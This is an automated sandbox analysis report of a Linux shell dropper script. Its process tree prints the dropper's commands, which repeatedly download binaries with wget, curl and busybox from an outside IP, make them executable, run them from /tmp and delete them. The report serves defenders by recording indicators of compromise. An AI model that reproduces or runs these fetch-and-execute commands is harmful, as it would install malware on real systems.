Analysis

  • max time kernel
    18s
  • max time network
    49s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    10/11/2024, 02:02

General

  • Target
    0ae70908cbb2ef856ca8fa16f43dbb8b411bf012b0612ce647de612371c922ca.sh
  • Size 10KB
  • Sample241110-cgmkasxcqa
  • SHA256 0ae70908cbb2ef856ca8fa16f43dbb8b411bf012b0612ce647de612371c922ca
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Checks CPU configuration 1 TTPs 14 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 28 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/0ae70908cbb2ef856ca8fa16f43dbb8b411bf012b0612ce647de612371c922ca.sh
    /tmp/0ae70908cbb2ef856ca8fa16f43dbb8b411bf012b0612ce647de612371c922ca.sh
    1⤵
      PID:642
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:644
        • /usr/bin/wget
          wget http://87.120.84.230/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
            PID:647
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:665
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
            2⤵
              PID:671
            • /bin/chmod
              chmod 777 OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
              2⤵
              • File and Directory Permissions Modification
              PID:674
            • /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
              ./OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
              2⤵
              • Executes dropped EXE
              PID:675
            • /bin/rm
              rm OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
              2⤵
                PID:676
              • /usr/bin/wget
                wget http://87.120.84.230/bins/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
                2⤵
                  PID:677
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:678
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
                  2⤵
                    PID:681
                  • /bin/chmod
                    chmod 777 aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
                    2⤵
                    • File and Directory Permissions Modification
                    PID:687
                  • /tmp/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
                    ./aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
                    2⤵
                    • Executes dropped EXE
                    PID:689
                  • /bin/rm
                    rm aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
                    2⤵
                      PID:690
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/pBG1nyPKdOXBDnNPF5qsAKiE9y1eQ3fQuB
                      2⤵
                        PID:691
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/pBG1nyPKdOXBDnNPF5qsAKiE9y1eQ3fQuB
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:697
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/pBG1nyPKdOXBDnNPF5qsAKiE9y1eQ3fQuB
                        2⤵
                          PID:704
                        • /bin/chmod
                          chmod 777 pBG1nyPKdOXBDnNPF5qsAKiE9y1eQ3fQuB
                          2⤵
                          • File and Directory Permissions Modification
                          PID:709
                        • /tmp/pBG1nyPKdOXBDnNPF5qsAKiE9y1eQ3fQuB
                          ./pBG1nyPKdOXBDnNPF5qsAKiE9y1eQ3fQuB
                          2⤵
                          • Executes dropped EXE
                          PID:711
                        • /bin/rm
                          rm pBG1nyPKdOXBDnNPF5qsAKiE9y1eQ3fQuB
                          2⤵
                            PID:712
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/UbRchRVQ9tyPxDlwew8WFeSBlVnKSfFUtF
                            2⤵
                              PID:713
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/UbRchRVQ9tyPxDlwew8WFeSBlVnKSfFUtF
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:719
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/UbRchRVQ9tyPxDlwew8WFeSBlVnKSfFUtF
                              2⤵
                                PID:726
                              • /bin/chmod
                                chmod 777 UbRchRVQ9tyPxDlwew8WFeSBlVnKSfFUtF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:733
                              • /tmp/UbRchRVQ9tyPxDlwew8WFeSBlVnKSfFUtF
                                ./UbRchRVQ9tyPxDlwew8WFeSBlVnKSfFUtF
                                2⤵
                                • Executes dropped EXE
                                PID:735
                              • /bin/rm
                                rm UbRchRVQ9tyPxDlwew8WFeSBlVnKSfFUtF
                                2⤵
                                  PID:736
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/HReVn4DFm4PnqgZyvYbSxE83hANr1I7A40
                                  2⤵
                                    PID:737
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/HReVn4DFm4PnqgZyvYbSxE83hANr1I7A40
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:742
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.84.230/bins/HReVn4DFm4PnqgZyvYbSxE83hANr1I7A40
                                    2⤵
                                      PID:744
                                    • /bin/chmod
                                      chmod 777 HReVn4DFm4PnqgZyvYbSxE83hANr1I7A40
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:745
                                    • /tmp/HReVn4DFm4PnqgZyvYbSxE83hANr1I7A40
                                      ./HReVn4DFm4PnqgZyvYbSxE83hANr1I7A40
                                      2⤵
                                      • Executes dropped EXE
                                      PID:746
                                    • /bin/rm
                                      rm HReVn4DFm4PnqgZyvYbSxE83hANr1I7A40
                                      2⤵
                                        PID:747
                                      • /usr/bin/wget
                                        wget http://87.120.84.230/bins/YeOeVox3C8K1cANYsiRetuFFeQZ4LbXXc2
                                        2⤵
                                          PID:748
                                        • /usr/bin/curl
                                          curl -O http://87.120.84.230/bins/YeOeVox3C8K1cANYsiRetuFFeQZ4LbXXc2
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:754
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.84.230/bins/YeOeVox3C8K1cANYsiRetuFFeQZ4LbXXc2
                                          2⤵
                                            PID:760
                                          • /bin/chmod
                                            chmod 777 YeOeVox3C8K1cANYsiRetuFFeQZ4LbXXc2
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:766
                                          • /tmp/YeOeVox3C8K1cANYsiRetuFFeQZ4LbXXc2
                                            ./YeOeVox3C8K1cANYsiRetuFFeQZ4LbXXc2
                                            2⤵
                                            • Executes dropped EXE
                                            PID:768
                                          • /bin/rm
                                            rm YeOeVox3C8K1cANYsiRetuFFeQZ4LbXXc2
                                            2⤵
                                              PID:769
                                            • /usr/bin/wget
                                              wget http://87.120.84.230/bins/8cHtRMHe6rJo0DQbRvWPjci4iPmxPqjIAV
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:770
                                            • /usr/bin/curl
                                              curl -O http://87.120.84.230/bins/8cHtRMHe6rJo0DQbRvWPjci4iPmxPqjIAV
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • System Network Configuration Discovery
                                              • Writes file to tmp directory
                                              PID:776
                                            • /bin/busybox
                                              /bin/busybox wget http://87.120.84.230/bins/8cHtRMHe6rJo0DQbRvWPjci4iPmxPqjIAV
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:782
                                            • /bin/chmod
                                              chmod 777 8cHtRMHe6rJo0DQbRvWPjci4iPmxPqjIAV
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:787
                                            • /tmp/8cHtRMHe6rJo0DQbRvWPjci4iPmxPqjIAV
                                              ./8cHtRMHe6rJo0DQbRvWPjci4iPmxPqjIAV
                                              2⤵
                                              • Executes dropped EXE
                                              • System Network Configuration Discovery
                                              PID:788
                                            • /bin/rm
                                              rm 8cHtRMHe6rJo0DQbRvWPjci4iPmxPqjIAV
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:789
                                            • /usr/bin/wget
                                              wget http://87.120.84.230/bins/pdJ6YBRo8yixhSRMPpffEiZdgP4x20aGLv
                                              2⤵
                                                PID:790
                                              • /usr/bin/curl
                                                curl -O http://87.120.84.230/bins/pdJ6YBRo8yixhSRMPpffEiZdgP4x20aGLv
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:791
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.84.230/bins/pdJ6YBRo8yixhSRMPpffEiZdgP4x20aGLv
                                                2⤵
                                                  PID:792
                                                • /bin/chmod
                                                  chmod 777 pdJ6YBRo8yixhSRMPpffEiZdgP4x20aGLv
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:793
                                                • /tmp/pdJ6YBRo8yixhSRMPpffEiZdgP4x20aGLv
                                                  ./pdJ6YBRo8yixhSRMPpffEiZdgP4x20aGLv
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:794
                                                • /bin/rm
                                                  rm pdJ6YBRo8yixhSRMPpffEiZdgP4x20aGLv
                                                  2⤵
                                                    PID:795
                                                  • /usr/bin/wget
                                                    wget http://87.120.84.230/bins/Y4q6wyIpHuASaCYN2os5CXTB1QLPOvGFPY
                                                    2⤵
                                                    • System Network Configuration Discovery
                                                    PID:796
                                                  • /usr/bin/curl
                                                    curl -O http://87.120.84.230/bins/Y4q6wyIpHuASaCYN2os5CXTB1QLPOvGFPY
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    • System Network Configuration Discovery
                                                    • Writes file to tmp directory
                                                    PID:797
                                                  • /bin/busybox
                                                    /bin/busybox wget http://87.120.84.230/bins/Y4q6wyIpHuASaCYN2os5CXTB1QLPOvGFPY
                                                    2⤵
                                                    • System Network Configuration Discovery
                                                    PID:798
                                                  • /bin/chmod
                                                    chmod 777 Y4q6wyIpHuASaCYN2os5CXTB1QLPOvGFPY
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:799
                                                  • /tmp/Y4q6wyIpHuASaCYN2os5CXTB1QLPOvGFPY
                                                    ./Y4q6wyIpHuASaCYN2os5CXTB1QLPOvGFPY
                                                    2⤵
                                                    • Executes dropped EXE
                                                    • System Network Configuration Discovery
                                                    PID:800
                                                  • /bin/rm
                                                    rm Y4q6wyIpHuASaCYN2os5CXTB1QLPOvGFPY
                                                    2⤵
                                                    • System Network Configuration Discovery
                                                    PID:801
                                                  • /usr/bin/wget
                                                    wget http://87.120.84.230/bins/2nhdVgKgc0DGTiHroTl3EJzYri26gF1NsV
                                                    2⤵
                                                      PID:802
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.84.230/bins/2nhdVgKgc0DGTiHroTl3EJzYri26gF1NsV
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:803
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.84.230/bins/2nhdVgKgc0DGTiHroTl3EJzYri26gF1NsV
                                                      2⤵
                                                        PID:804
                                                      • /bin/chmod
                                                        chmod 777 2nhdVgKgc0DGTiHroTl3EJzYri26gF1NsV
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:805
                                                      • /tmp/2nhdVgKgc0DGTiHroTl3EJzYri26gF1NsV
                                                        ./2nhdVgKgc0DGTiHroTl3EJzYri26gF1NsV
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:806
                                                      • /bin/rm
                                                        rm 2nhdVgKgc0DGTiHroTl3EJzYri26gF1NsV
                                                        2⤵
                                                          PID:807
                                                        • /usr/bin/wget
                                                          wget http://87.120.84.230/bins/Rw19GMjUVM1RG3TFDasThnsV6vb6DoWqrS
                                                          2⤵
                                                            PID:808
                                                          • /usr/bin/curl
                                                            curl -O http://87.120.84.230/bins/Rw19GMjUVM1RG3TFDasThnsV6vb6DoWqrS
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:809
                                                          • /bin/busybox
                                                            /bin/busybox wget http://87.120.84.230/bins/Rw19GMjUVM1RG3TFDasThnsV6vb6DoWqrS
                                                            2⤵
                                                              PID:810
                                                            • /bin/chmod
                                                              chmod 777 Rw19GMjUVM1RG3TFDasThnsV6vb6DoWqrS
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:811
                                                            • /tmp/Rw19GMjUVM1RG3TFDasThnsV6vb6DoWqrS
                                                              ./Rw19GMjUVM1RG3TFDasThnsV6vb6DoWqrS
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:812
                                                            • /bin/rm
                                                              rm Rw19GMjUVM1RG3TFDasThnsV6vb6DoWqrS
                                                              2⤵
                                                                PID:813
                                                              • /usr/bin/wget
                                                                wget http://87.120.84.230/bins/C4gRJdmDMyhq4wFcpUJfi7HRQ2XCv4O7qH
                                                                2⤵
                                                                  PID:814
                                                                • /usr/bin/curl
                                                                  curl -O http://87.120.84.230/bins/C4gRJdmDMyhq4wFcpUJfi7HRQ2XCv4O7qH
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:815
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://87.120.84.230/bins/C4gRJdmDMyhq4wFcpUJfi7HRQ2XCv4O7qH
                                                                  2⤵
                                                                    PID:816
                                                                  • /bin/chmod
                                                                    chmod 777 C4gRJdmDMyhq4wFcpUJfi7HRQ2XCv4O7qH
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:817
                                                                  • /tmp/C4gRJdmDMyhq4wFcpUJfi7HRQ2XCv4O7qH
                                                                    ./C4gRJdmDMyhq4wFcpUJfi7HRQ2XCv4O7qH
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:818
                                                                  • /bin/rm
                                                                    rm C4gRJdmDMyhq4wFcpUJfi7HRQ2XCv4O7qH
                                                                    2⤵
                                                                      PID:819
                                                                    • /usr/bin/wget
                                                                      wget http://87.120.84.230/bins/5DbcG2nthaXlI2DoobuNIdMcZZk123LHFc
                                                                      2⤵
                                                                        PID:820
                                                                      • /usr/bin/curl
                                                                        curl -O http://87.120.84.230/bins/5DbcG2nthaXlI2DoobuNIdMcZZk123LHFc
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:821
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://87.120.84.230/bins/5DbcG2nthaXlI2DoobuNIdMcZZk123LHFc
                                                                        2⤵
                                                                          PID:822
                                                                        • /bin/chmod
                                                                          chmod 777 5DbcG2nthaXlI2DoobuNIdMcZZk123LHFc
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:823
                                                                        • /tmp/5DbcG2nthaXlI2DoobuNIdMcZZk123LHFc
                                                                          ./5DbcG2nthaXlI2DoobuNIdMcZZk123LHFc
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:824
                                                                        • /bin/rm
                                                                          rm 5DbcG2nthaXlI2DoobuNIdMcZZk123LHFc
                                                                          2⤵
                                                                            PID:825
                                                                          • /usr/bin/wget
                                                                            wget http://87.120.84.230/bins/R2xcQ96QOYI72mgSlmj9fDVt2BKSP6Bl1P
                                                                            2⤵
                                                                              PID:826
                                                                            • /usr/bin/curl
                                                                              curl -O http://87.120.84.230/bins/R2xcQ96QOYI72mgSlmj9fDVt2BKSP6Bl1P
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:827
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://87.120.84.230/bins/R2xcQ96QOYI72mgSlmj9fDVt2BKSP6Bl1P
                                                                              2⤵
                                                                                PID:828
                                                                              • /bin/chmod
                                                                                chmod 777 R2xcQ96QOYI72mgSlmj9fDVt2BKSP6Bl1P
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:829
                                                                              • /tmp/R2xcQ96QOYI72mgSlmj9fDVt2BKSP6Bl1P
                                                                                ./R2xcQ96QOYI72mgSlmj9fDVt2BKSP6Bl1P
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:830
                                                                              • /bin/rm
                                                                                rm R2xcQ96QOYI72mgSlmj9fDVt2BKSP6Bl1P
                                                                                2⤵
                                                                                  PID:831
                                                                                • /usr/bin/wget
                                                                                  wget http://87.120.84.230/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
                                                                                  2⤵
                                                                                    PID:832

                                                                                Network

                                                                                      MITRE ATT&CK Enterprise v15

                                                                                      Replay Monitor

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                                                                                      Downloads

                                                                                      OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw

                                                                                      • Path /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
                                                                                      • Size 153B
                                                                                      • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                                                                                      • MD5 SHA1 SHA512